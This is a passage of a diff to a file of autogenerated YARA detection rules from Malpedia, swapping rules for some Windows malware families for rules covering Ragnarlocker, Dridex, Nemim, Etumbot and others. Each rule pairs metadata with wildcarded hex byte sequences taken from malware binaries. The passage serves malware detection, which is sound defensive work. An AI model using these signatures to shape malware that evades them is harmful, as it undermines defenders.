- $sequence_18 = { e8???????? 8d45fc 50 6a01 6a01 6a00 6800000002 } - $sequence_19 = { e8???????? 85c0 750c c705????????03000000 } - $sequence_20 = { 8b4508 8b00 99 52 50 6a00 } - $sequence_21 = { 53 53 53 8901 } - $sequence_22 = { 0f114f20 0f104840 0f114730 0f104050 0f114f40 0f104860 0f114750 } - $sequence_23 = { 754c 8b5e02 8d45e4 6a1c 50 } - $sequence_24 = { 03c1 3bd8 7323 8b33 } - $sequence_25 = { 85c0 56 0f45ca 894dfc ff15???????? } - $sequence_26 = { 8b4c2434 ff15???????? 0fb74c2432 ff15???????? } - $sequence_27 = { 0f104010 0f110f 0f104820 0f114710 0f104030 0f114f20 0f104840 } - $sequence_28 = { 8b4070 894770 be01000000 ff15???????? } - $sequence_29 = { 0f104060 0f114760 8b4070 894770 } - $sequence_30 = { 7510 8d4864 ff15???????? ffc3 83fb0a } - $sequence_31 = { c602e9 2bc8 894a01 83c205 8b4610 33c9 } - $sequence_32 = { 0f104860 0f114750 0f114f60 b801000000 } - $sequence_33 = { 8b4de8 b84d5a0000 663901 754e 8b513c 03d1 813a50450000 } - $sequence_34 = { ffc3 83fb0a 7cd5 33c0 } - $sequence_35 = { ffd3 8b8de4fdffff 8b36 85f6 75a2 8b3f 85ff } - $sequence_36 = { 8b7df4 85ff 7414 57 8bce e8???????? } + $sequence_0 = { 4883ec28 803d????????00 754c 488d0da8270100 } + $sequence_1 = { 45390a 7449 496312 4803d5 0fb60a 83e10f 4a0fbe843110440100 } + $sequence_2 = { 4885c0 7509 488d05233a0100 eb04 } + $sequence_3 = { 90 8bdf 8b05???????? 48895c2420 3bf0 7c36 4c8d3da9080100 } + $sequence_4 = { 4c8d058afb0000 488b4318 4839b838010000 750f 498b04d0 42387ce839 0f84d3000000 } + $sequence_5 = { 488d0d8a0b0100 e8???????? 4883c428 c3 } + $sequence_6 = { e8???????? 85c0 7420 4c8b442430 } + $sequence_7 = { 488d151fc50000 b903000000 4c8d050bc50000 e8???????? 488bd3 } + $sequence_8 = { 4183f90f 7779 428b8c8e78f80000 4803ce ffe1 660f73fa01 eb65 } + $sequence_9 = { 488bd1 488bc1 48c1f806 4c8d05b4060100 } condition: - 7 of them and filesize < 516096 + 7 of them and filesize < 307200 } -rule MALPEDIA_Win_Quarterrig_Auto : FILE +rule MALPEDIA_Win_Ragnarlocker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "773e603c-b2a3-5ce5-ad18-62d70b454a9c" + id = "115610a4-debf-5e53-866c-588d0e4a674d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quarterrig" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quarterrig_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ragnarlocker_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "e5d3fc199bcc485e4ab028e477fcfeb78c0e1cd4e9776332bb130fba34692b6a" + logic_hash = "6d88f5a9935c94f31e5ef388da569a4f1a15523f9d92a2b5d9dd3611cf9ee236" score = 75 quality = 75 tags = "FILE" @@ -147726,34 +147525,34 @@ rule MALPEDIA_Win_Quarterrig_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d95f0010000 488d4c2460 e8???????? 410fbaec07 4489642434 488d542460 48837c247810 } - $sequence_1 = { 7506 443a5802 7420 498bc1 492bc2 4903c0 663b10 } - $sequence_2 = { 482bd7 4a0fbeb43850140600 8d4e01 4863c1 483bc2 0f8fe4010000 83f904 } - $sequence_3 = { 4c89442418 4c894c2420 4883ec28 b95772865c e8???????? 4c8bf8 b95772865c } - $sequence_4 = { 84c0 0f85a6000000 488d5770 488d8d10010000 e8???????? 84c0 0f8588000000 } - $sequence_5 = { 80e107 c0e103 498bc5 48d3e8 43300408 49ffc0 4983f803 } - $sequence_6 = { c3 488d0d7ad90500 e8???????? 833d????????ff 75d2 66c705????????1301 } - $sequence_7 = { 498d8fc0000000 498bd1 e8???????? 90 488b55d7 4883fa10 720c } - $sequence_8 = { 80e107 c0e103 48b8fff3a94f9f372b79 48d3e8 42300402 48ffc2 4883fa07 } - $sequence_9 = { 418ac9 80e107 c0e103 49b81bf1eb35955fe34f 49d3e8 45300401 49ffc1 } + $sequence_0 = { 8b7da4 0facd106 33fe c1ea06 33d9 8b4da8 33fa } + $sequence_1 = { c1e017 0bd8 8b45cc 0bf9 8b4dd4 33d2 } + $sequence_2 = { 33d0 03de 8b4dfc 8b75f8 8bc6 13fa c745bc00000000 } + $sequence_3 = { 8bf1 0facd113 c1e60d c1ea13 0bf2 895da8 8b957cffffff } + $sequence_4 = { 33db 0bd9 8975a4 8b8d50ffffff 8bfa 0fa4ca03 c1ef1d } + $sequence_5 = { 56 8b75f8 56 6a03 6a3b 57 ff15???????? } + $sequence_6 = { 8945e0 8b4594 8945e4 8b4590 8945e8 8b458c 8945c0 } + $sequence_7 = { 99 0bf2 c1e308 0bd8 0fb64143 0fa4de08 } + $sequence_8 = { 0bd8 0fb6410f 0fa4de08 8b4d98 99 0bf2 c1e308 } + $sequence_9 = { c1ea0e 3175fc 0bfa 8b75dc 33df 8b7de0 f7d6 } condition: - 7 of them and filesize < 971776 + 7 of them and filesize < 147456 } -rule MALPEDIA_Win_Vigilant_Cleaner_Auto : FILE +rule MALPEDIA_Win_Dridex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b2070620-d9f7-5811-b76d-80baf53d08b2" + id = "144cf75b-1d98-530d-8c7f-b36a158181d3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vigilant_cleaner" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vigilant_cleaner_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dridex_auto.yar#L1-L1103" license_url = "N/A" - logic_hash = "7e320a52ca8b714b97d83c5af01f55040082927d0e7ca8657f050cb83fb7182e" + logic_hash = "ed79935f1e181816ce095f2b34e8302b3ab4d9435988ec01dc1b779e29264775" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -147765,32 +147564,156 @@ rule MALPEDIA_Win_Vigilant_Cleaner_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 b868584d56 bb00000000 b90a000000 ba58560000 ed 5b } - $sequence_1 = { ed 5b 59 5a } - $sequence_2 = { b90a000000 ba58560000 ed 5b 59 } - $sequence_3 = { b868584d56 bb00000000 b90a000000 ba58560000 ed 5b 59 } - $sequence_4 = { bb00000000 b90a000000 ba58560000 ed 5b } - $sequence_5 = { b90a000000 ba58560000 ed 5b 59 5a } - $sequence_6 = { ba58560000 ed 5b 59 } - $sequence_7 = { ba58560000 ed 5b 59 5a } - $sequence_8 = { b868584d56 bb00000000 b90a000000 ba58560000 ed 5b } - $sequence_9 = { bb00000000 b90a000000 ba58560000 ed 5b 59 } + $sequence_0 = { ffd6 85c0 7512 e8???????? eb03 } + $sequence_1 = { e8???????? b910270000 e8???????? e8???????? } + $sequence_2 = { c605????????01 c3 c605????????00 c3 } + $sequence_3 = { 83f8ff 7505 e8???????? 3d34270000 } + $sequence_4 = { ffd0 e8???????? 85c0 74de } + $sequence_5 = { ffd0 85c0 751f e8???????? } + $sequence_6 = { 740c b9e8030000 e8???????? b301 } + $sequence_7 = { 53 53 53 6a01 53 ffd0 } + $sequence_8 = { eb0a e8???????? eb03 6a7f } + $sequence_9 = { c3 31c0 c3 50 } + $sequence_10 = { e8???????? 85c0 7407 56 ffd0 } + $sequence_11 = { 807c241400 7409 8d4c2410 e8???????? } + $sequence_12 = { e8???????? 6880000000 53 53 } + $sequence_13 = { e8???????? 85c0 7408 6a00 ffd0 } + $sequence_14 = { 85c0 7407 685a040000 ffd0 } + $sequence_15 = { e8???????? 85c0 7404 6a7f } + $sequence_16 = { e8???????? 3db20d7897 7508 c70350000000 eb0d 3da665f63e 7506 } + $sequence_17 = { ffd0 5b c3 33c0 } + $sequence_18 = { e8???????? 6a00 8d4e1c e8???????? } + $sequence_19 = { e8???????? eb0a b9d0070000 e8???????? } + $sequence_20 = { e8???????? 6a29 8bc8 e8???????? } + $sequence_21 = { 7411 c7461003000000 e8???????? 894614 } + $sequence_22 = { e8???????? 8d4dc4 e8???????? 5e } + $sequence_23 = { 85c0 7415 6a01 6a00 6a00 } + $sequence_24 = { 8bc8 e8???????? 6a74 8bc8 e8???????? 6a70 } + $sequence_25 = { 6a70 8bc8 e8???????? 6a73 8bc8 e8???????? } + $sequence_26 = { eb08 83ca20 eb03 83ca10 } + $sequence_27 = { 6a00 8bcf e8???????? 50 ffd6 } + $sequence_28 = { e8???????? e9???????? 807c245000 740a } + $sequence_29 = { 46 e8???????? c1e802 3bf0 } + $sequence_30 = { 6a00 6a00 8d4dfc 51 6aff } + $sequence_31 = { 890424 894c2404 75dd 8b0424 } + $sequence_32 = { 89c1 8b442424 88c2 8854240f } + $sequence_33 = { 8b442428 6689c1 66894c2458 66894c245a } + $sequence_34 = { 6a64 59 e8???????? 33c9 } + $sequence_35 = { 33c0 803900 7411 ffc0 } + $sequence_36 = { c7461002000000 eb0f c7461003000000 e8???????? } + $sequence_37 = { 8a442427 a801 7534 eb00 31c0 } + $sequence_38 = { 7414 31c0 89c1 8b442424 } + $sequence_39 = { eb0a b988130000 e8???????? 33d2 } + $sequence_40 = { 85c0 7406 6a02 ff36 ffd0 } + $sequence_41 = { 6802100000 68ffff0000 ff36 ffd0 } + $sequence_42 = { eb00 8b442404 89c1 89ca } + $sequence_43 = { 8954242c 8b44242c 89c1 89ca } + $sequence_44 = { 89442408 7598 8a442407 a801 } + $sequence_45 = { c20400 55 8bec 83ec34 8365fc00 } + $sequence_46 = { 6a01 6a02 ffd0 8906 } + $sequence_47 = { ff7508 ffd0 85c0 750e } + $sequence_48 = { 51 6880000000 68ffff0000 ff36 } + $sequence_49 = { 50 56 8bcb e8???????? 50 e8???????? } + $sequence_50 = { 7404 33c9 ffd0 33c0 } + $sequence_51 = { e8???????? 84c0 740f 6a05 } + $sequence_52 = { e8???????? 6880000000 55 55 } + $sequence_53 = { c3 55 8bec 837d0800 7422 } + $sequence_54 = { ff7508 ffd0 33c0 40 5d } + $sequence_55 = { 8d4de0 51 68???????? ffd0 } + $sequence_56 = { 6a00 6a02 ffd0 50 } + $sequence_57 = { 6a73 e8???????? 833f00 7523 } + $sequence_58 = { e8???????? 8bc8 a1???????? ff30 } + $sequence_59 = { 7403 c60000 b840000000 83fa40 0f4ed0 } + $sequence_60 = { 890424 e8???????? 31c0 83c420 5e } + $sequence_61 = { e8???????? 50 ffd7 85c0 7512 } + $sequence_62 = { eb0c e8???????? 8bf0 eb03 } + $sequence_63 = { e8???????? 50 53 8d4dd0 e8???????? 50 } + $sequence_64 = { 8b45cc 31c9 8b55d0 39c2 } + $sequence_65 = { 8038e9 89c1 8945d0 894dcc } + $sequence_66 = { 8b4838 8b5034 891424 894c2404 e8???????? 8b44241c } + $sequence_67 = { 01ca 83c205 807c0805e9 891424 74e9 } + $sequence_68 = { 8b442408 8038e9 890424 7517 8b0424 8b4801 89c2 } + $sequence_69 = { 6681394d5a 8945b8 894dc4 0f85b6000000 } + $sequence_70 = { 8b45e8 05ffff0000 25ffff0000 83c001 } + $sequence_71 = { 83797c00 8b7dbc 8945b4 8955b0 8975ac } + $sequence_72 = { 31c9 8b54241c 8b723c 8b7e3c 89f3 01fb } + $sequence_73 = { 5e c3 53 57 56 83ec20 8b442430 } + $sequence_74 = { c3 55 89e5 68???????? e8???????? 83c404 } + $sequence_75 = { 894dc4 0f85a1000000 8b45b8 83c018 8b4db8 8b5178 } + $sequence_76 = { 890424 8944241c e8???????? 89442418 e8???????? 83f800 } + $sequence_77 = { 8b55bc 8955c4 776a 31c0 8b4dac 8b510c 8b75bc } + $sequence_78 = { 56 57 53 55 81ec88010000 8bd8 } + $sequence_79 = { 25ffff0000 83c001 8b4da8 01c1 } + $sequence_80 = { c3 55 89e5 57 56 53 83ec54 } + $sequence_81 = { 89c6 8945f8 894df4 8975f0 7418 8b45f4 05ffff0000 } + $sequence_82 = { 83c454 5b 5e 5f 5d c3 55 } + $sequence_83 = { 25ffff0000 83c001 8b4df0 01c1 894de4 } + $sequence_84 = { c7424800b00400 8b7de4 c787cc00000000000000 c787c800000000000000 } + $sequence_85 = { 5b 5e 5d c3 55 89e5 6a00 } + $sequence_86 = { 894df0 8b45f0 83c40c 5e 5d c3 } + $sequence_87 = { 8b4df8 01c1 894df0 8b45f0 } + $sequence_88 = { 890c24 c744240400000000 8945f0 8955ec e8???????? 8b483c 6689ce } + $sequence_89 = { 7418 8b45e4 05ffff0000 25ffff0000 } + $sequence_90 = { 89c7 8945f0 894dec 8955e8 897de4 } + $sequence_91 = { 8b4de8 81c1ffff0000 81e1ffff0000 83c101 } + $sequence_92 = { 53 57 83ec5c 8b450c } + $sequence_93 = { 894de0 7505 e9???????? 8b45e0 83c438 5f } + $sequence_94 = { 57 83ec38 8b450c 8b4d08 8945f0 } + $sequence_95 = { 5b 5d c3 8b45d0 8b4dd4 668b55d8 } + $sequence_96 = { e9???????? 8b45e0 83c45c 5f 5b 5e } + $sequence_97 = { 68???????? 50 50 ffd2 } + $sequence_98 = { 8945c4 894dc0 885dbf 8975b8 } + $sequence_99 = { 8945a0 8955cc 74bc 8b45cc 83c454 5b 5e } + $sequence_100 = { 89e5 57 53 56 83ec38 } + $sequence_101 = { 53 83ec74 8b450c 8b4d08 31d2 8b713c 89cf } + $sequence_102 = { 83c438 5e 5b 5f } + $sequence_103 = { eb06 83c414 5b 5d c3 8b45f0 8b0c8504406e00 } + $sequence_104 = { 57 83ec20 8b4508 890424 } + $sequence_105 = { 8b7dcc 39f8 8945c8 75e4 83c448 5e 5f } + $sequence_106 = { 85d2 7412 33c0 50 50 56 } + $sequence_107 = { c3 8b45f0 8b0c8504406e00 8b55f8 39d1 8945ec 894de8 } + $sequence_108 = { c605????????00 e8???????? 8bd0 85d2 7412 } + $sequence_109 = { 83ec20 a1???????? 85c0 7416 8b0d???????? e8???????? 84c0 } + $sequence_110 = { 0f85dafeffff 8b45e4 83c474 5b } + $sequence_111 = { 895c2414 660fd6442418 660fd6442420 e8???????? 84c0 } + $sequence_112 = { e9???????? 8bcd 8d8424a8010000 50 } + $sequence_113 = { 53 81ecb0000000 8b4508 8d4dd8 c745d800000000 } + $sequence_114 = { 8955dc e8???????? 8d0de8306e00 890424 894c2404 e8???????? 8d0d44306e00 } + $sequence_115 = { 8855af 8975cc 751c 8b45a4 8a4daf 31d2 8a2c0575306e00 } + $sequence_116 = { 83c470 5b 5f 5e 5d c3 } + $sequence_117 = { c3 55 89e5 56 53 57 83ec54 } + $sequence_118 = { e9???????? 8b45e0 83c45c 5e 5f 5b } + $sequence_119 = { 897dd8 8b45d8 83c444 5b 5e } + $sequence_120 = { 57 53 83ec70 8b450c } + $sequence_121 = { 74bc 8b45cc 83c454 5f 5b 5e 5d } + $sequence_122 = { 57 56 83ec5c 8b450c 8b4d08 31d2 8b7008 } + $sequence_123 = { 89e5 53 56 57 83ec38 } + $sequence_124 = { 8d0d44306e00 31d2 890c24 c744240400000000 } + $sequence_125 = { 89723c c7424004000000 c742442c0c0200 c7424800b00400 8b7de4 } + $sequence_126 = { 8a2c0575306e00 83c001 38e9 8945a0 } + $sequence_127 = { 57 83ec54 8d055a232700 31c9 8d55d8 803d????????e9 } + $sequence_128 = { 52 8bd6 e8???????? 8bcf 53 } + $sequence_129 = { 8945d0 74e4 31c0 8d0d5a238400 8b55c8 39ca } + $sequence_130 = { 8a4daf 31d2 8a2c0575308400 83c001 } + $sequence_131 = { c744240400000000 8955e0 e8???????? 8d0dd8308400 } + $sequence_132 = { 8b4d08 8d155e302f00 83ec04 891424 8945e8 } + $sequence_133 = { 8d0d44308400 31d2 8b75f8 89461c 890c24 c744240400000000 8955e4 } condition: - 7 of them and filesize < 1181696 + 7 of them and filesize < 1040384 } -rule MALPEDIA_Win_Kuluoz_Auto : FILE +rule MALPEDIA_Win_Findpos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e333e81d-6ddf-5afb-9076-c2e07a86e601" + id = "ce612255-6624-50a9-a03c-c60c58099af8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kuluoz" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kuluoz_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.findpos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.findpos_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "8a6d421ab9f7554479240c31c714fda22b910eb903ffdf797f53667a783e223f" + logic_hash = "5ddd8150bb7549b194e3af334d2fd54523af2954906df2786ddd0dce1684bb61" score = 75 quality = 75 tags = "FILE" @@ -147804,32 +147727,32 @@ rule MALPEDIA_Win_Kuluoz_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4de8 83790c00 0f84e3000000 8b55e8 } - $sequence_1 = { 8bff 55 8bec 51 8b4508 8945fc 8b4d0c } - $sequence_2 = { 8b8da0fbffff 898df0fbffff 8b95a4fbffff 8995f4fbffff eb6f 8d85f8fbffff 50 } - $sequence_3 = { 85c0 740b 8b4df0 83c101 894df0 ebd7 8b55f0 } - $sequence_4 = { 8bff 55 8bec 51 56 c745fc00000000 eb09 } - $sequence_5 = { e8???????? 8b08 898d5cfbffff 8b5004 899560fbffff 8b4008 } - $sequence_6 = { 8b4508 054a050000 8b4d08 3b814a2d0000 7504 b001 eb02 } - $sequence_7 = { 50 e8???????? 8945f4 837df4ff 7405 8b45f4 eb4b } - $sequence_8 = { 0fbe5508 83fa0a 7409 0fbe4508 83f80d 7504 b001 } - $sequence_9 = { 8955f0 8b45f0 3b45e0 734e } + $sequence_0 = { 0fb6c0 50 0fb6c1 50 8d85e8e7ffff 50 } + $sequence_1 = { 42 8a1a 0fb63411 0fb6c3 83ce20 83c820 2bf0 } + $sequence_2 = { 3375f0 337df4 8b4008 8985dcfeffff } + $sequence_3 = { 8d4dd8 895dfc e8???????? 837dec10 8d55d8 0f4355d8 33c9 } + $sequence_4 = { 83791410 7202 8b09 33d2 e8???????? 85c0 7419 } + $sequence_5 = { 0f84d6000000 48 0f8497000000 83e804 7468 83e803 } + $sequence_6 = { bf3ce91fe0 0adb e3de a863 125f55 cae845 7d31 } + $sequence_7 = { e8???????? 6a00 6a01 8d8c2408010000 e9???????? 83fb27 0f871b010000 } + $sequence_8 = { 57 8b7d08 3b30 7554 394510 } + $sequence_9 = { ff15???????? 8bc8 890d???????? 85c9 743b 8b45f8 a3???????? } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Absentloader_Auto : FILE +rule MALPEDIA_Win_Nemim_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6f362b30-2c49-5b13-a74d-e646b2c361d8" + id = "2fcca9e2-b8f3-5d83-84fc-b2e40aa4f4f9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.absentloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.absentloader_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemim" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nemim_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "ec030f0c846e40821b8f0d08fe92e09a60380de99ecc678dae260a482a99d7bb" + logic_hash = "24d9011f0ff0bebf263a930abe315373fb7838840fe9989752df0056ff714df5" score = 75 quality = 75 tags = "FILE" @@ -147843,32 +147766,32 @@ rule MALPEDIA_Win_Absentloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 50 8bce e8???????? 834dfcff 8d85f0f9ffff 50 } - $sequence_1 = { 8b08 8bc3 2bc1 c1f804 3bf0 7238 } - $sequence_2 = { 5e 8b448dd8 83e825 6bc033 99 f7fe } - $sequence_3 = { 6a7f 0f1145dc c745ec59000000 5f 6a32 58 2b448ddc } - $sequence_4 = { 48 a3???????? ff15???????? 8b0d???????? 89048db09506fd 5d c3 } - $sequence_5 = { 68087905fd 68007905fd 68087905fd 6a06 e8???????? 8bf0 } - $sequence_6 = { e8???????? 83ec18 c645fc07 8bcc 68a8f905fd 895910 c741140f000000 } - $sequence_7 = { 8b08 bfc8aa06fd 0f2805???????? a1???????? 0f1145dc c745ec0e5a410e } - $sequence_8 = { 40 83f80e 72f6 8bc1 c3 80791300 740c } - $sequence_9 = { 57 bf88a706fd 8d75e8 689f0705fd a5 a5 } + $sequence_0 = { 83c002 53 55 56 57 8d742410 bf10000000 } + $sequence_1 = { 52 6801000080 ff15???????? 8d442418 8d4c2454 50 8b442418 } + $sequence_2 = { 56 ff15???????? 8b442410 3d97010000 0f84ae000000 6800040000 } + $sequence_3 = { 888424e7000000 e8???????? 83c404 8d9424b4000000 68???????? 6819000200 6a00 } + $sequence_4 = { 8bd1 8dbc2450020000 c1e902 f3ab 8bca } + $sequence_5 = { 52 e8???????? 8d442458 50 e8???????? 8b15???????? 8d4c245c } + $sequence_6 = { 8b6c2440 8dbc3839d0d4d9 8bc7 c1e81c c1e704 0bc7 8bfe } + $sequence_7 = { 8bf0 750b c1e602 8b8628274300 eb09 c1e602 } + $sequence_8 = { 83fe10 7cde c605????????00 b90b000000 be???????? 8dbc2410010000 } + $sequence_9 = { 68e8030000 e8???????? 83c404 85f6 } condition: - 7 of them and filesize < 794624 + 7 of them and filesize < 499712 } -rule MALPEDIA_Win_Mosaic_Regressor_Auto : FILE +rule MALPEDIA_Win_Darkmoon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6545d5ce-704c-5c00-a6cd-ec1b5c909576" + id = "39d28dd7-0564-597d-bdac-de621314fd7d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosaic_regressor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mosaic_regressor_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkmoon_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "73c7fd14f8effd7ac9e0816b586de74eff8d0d21c8391e8e84f2921e57196fdb" + logic_hash = "b873ed88e28a76ea623543146de01af6abe20197674c7ea051692aae659c4969" score = 75 quality = 75 tags = "FILE" @@ -147882,34 +147805,34 @@ rule MALPEDIA_Win_Mosaic_Regressor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 670010 386700 1023 d18a0688078a } - $sequence_1 = { 8975e0 8db1d0a70010 8975e4 eb2a } - $sequence_2 = { 85c0 7456 8b4de0 8d0c8de0b70010 8901 8305????????20 } - $sequence_3 = { f3a4 6a1c 8d8c2480060000 51 6a00 ffd5 8d842478060000 } - $sequence_4 = { 8d442460 50 6a00 ffd5 8d442458 48 8d4900 } - $sequence_5 = { 895008 8d542458 52 88480c } - $sequence_6 = { c744241444000000 8bc8 90 8a10 } - $sequence_7 = { 6a06 89430c 8d4310 8d89c4a70010 5a } - $sequence_8 = { 8bff 55 8bec 8b4508 ff34c578a10010 ff15???????? 5d } - $sequence_9 = { 6a00 6a00 6a00 8d942498080000 } + $sequence_0 = { 898580f0ffff ff750c 680f0d0000 ffb580f0ffff 56 ff96d1000000 e8???????? } + $sequence_1 = { ff75f0 ff5675 83f800 766d 6a00 8d4df8 } + $sequence_2 = { 8d4f0c c645fc05 e8???????? 8d4f10 c645fc06 e8???????? } + $sequence_3 = { 68ff0f1f00 ff9695000000 83f800 74ac } + $sequence_4 = { 8d8656040000 50 6801000080 ff5635 8d8665010000 50 } + $sequence_5 = { 3b86b0080000 747c 8986b0080000 6804010000 8d85fcfdffff } + $sequence_6 = { 6a01 6a00 e8???????? 53 4f 46 } + $sequence_7 = { ff5621 8945f4 6a00 8d4df8 } + $sequence_8 = { ffb6e1000000 ff96dd000000 8945f4 6a00 ff75f8 ffb6ed000000 6a00 } + $sequence_9 = { 03d0 8b442410 03c2 89442410 8bc6 99 f7f9 } condition: - 7 of them and filesize < 113664 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Shareip_Auto : FILE +rule MALPEDIA_Win_Etumbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9f46ee27-fcc3-5b26-9e77-331cb46925ef" + id = "c874e7f9-5803-51aa-bcc8-4faaaf0ce1ce" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shareip_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.etumbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.etumbot_auto.yar#L1-L358" license_url = "N/A" - logic_hash = "b24d153dc5c903a6f61d1f00b3b16ac72a620a7bd569254dc7e2236cbdbfd920" + logic_hash = "bab72b55d5937eff166f630a71bea6d6d650e72f44dc18db352baddef63ef002" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -147921,32 +147844,62 @@ rule MALPEDIA_Win_Shareip_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b02 8d8c2414010000 ffd0 83bc243001000000 7425 83bc242401000000 7412 } - $sequence_1 = { 56 894c2438 33d2 50 8d4c2440 895c2458 89742454 } - $sequence_2 = { 83f8ff 7566 be10000000 39742444 720d 8b542430 52 } - $sequence_3 = { 8b7e10 8bcf 2b4d10 b867666666 f7e9 c1fa03 8bc2 } - $sequence_4 = { 8b542468 89542424 eb08 8d442468 89442424 39b424ec000000 720d } - $sequence_5 = { 8bc2 c1e81f 03c2 83f803 0f8557feffff 8d78ff 8d742414 } - $sequence_6 = { 50 8d4c2420 51 8d5f20 c744243803000000 89542448 e8???????? } - $sequence_7 = { 8d442408 8da42400000000 8a10 3a11 751a 84d2 } - $sequence_8 = { 8b01 8d7001 8a10 40 84d2 75f9 2bc6 } - $sequence_9 = { 8bce bb03000000 e8???????? eb02 33c0 c78424b000000002000000 8907 } + $sequence_0 = { 8a00 02c2 0fb6c0 8a8405fcfeffff } + $sequence_1 = { 0fb6c0 8a8405fcfeffff 320437 8806 46 } + $sequence_2 = { c745b063726f73 c745b46f66745c c745b85c57696e c745bc646f7773 c745c05c5c4375 c745c47272656e } + $sequence_3 = { f7d1 23c1 42 4e 75df } + $sequence_4 = { 8d45f4 6820a10700 50 68???????? 68???????? } + $sequence_5 = { c745cc73696f6e c745d05c5c496e c745d47465726e c745d865742053 } + $sequence_6 = { 03c1 8bc8 81e1000000f0 7407 8bf9 } + $sequence_7 = { 7407 8bf9 c1ef18 33c7 f7d1 23c1 } + $sequence_8 = { c745d47465726e c745d865742053 c745dc65747469 c745e06e677300 } + $sequence_9 = { 53 56 57 8b3d???????? ffd7 8b7508 8bd8 } + $sequence_10 = { 57 0fbe38 33f6 33db } + $sequence_11 = { c745c47272656e c745c874566572 c745cc73696f6e c745d05c5c496e } + $sequence_12 = { ffd7 2bc3 3bc6 72ed 5f 5e } + $sequence_13 = { 8b45f4 0345f0 8b4d08 034dec 8a11 8810 } + $sequence_14 = { c645bf69 c645c062 c645c16c c645c265 c645c33b c645c420 c645c54d } + $sequence_15 = { 8b4d08 83c101 894d08 8b550c 83ea03 } + $sequence_16 = { 83c204 3b5514 7608 83c8ff } + $sequence_17 = { 80e10f c0e102 c0eb06 02cb } + $sequence_18 = { c644242c45 8854242f 884c2431 c644243273 88542434 } + $sequence_19 = { 83c404 8bd1 c1e902 f3ab 8bca } + $sequence_20 = { 6a00 68???????? 6a00 6a00 6a00 51 68???????? } + $sequence_21 = { e8???????? 8d45fc 50 8d85bcfeffff 50 e8???????? } + $sequence_22 = { 8b0c8d20cf4000 8a44c104 83e040 c3 56 8b742408 85f6 } + $sequence_23 = { b9ff000000 33c0 8dbda6fbffff f3ab } + $sequence_24 = { c645d673 c645d720 c645d84e c645d954 } + $sequence_25 = { 83c104 3b4d14 7608 83c8ff } + $sequence_26 = { 50 8d85c4eaffff 50 e8???????? 8d85ecfdffff } + $sequence_27 = { 59 50 8d8504ffffff e9???????? 6a18 } + $sequence_28 = { c645c33b c645c420 c645c54d c645c653 c645c749 c645c845 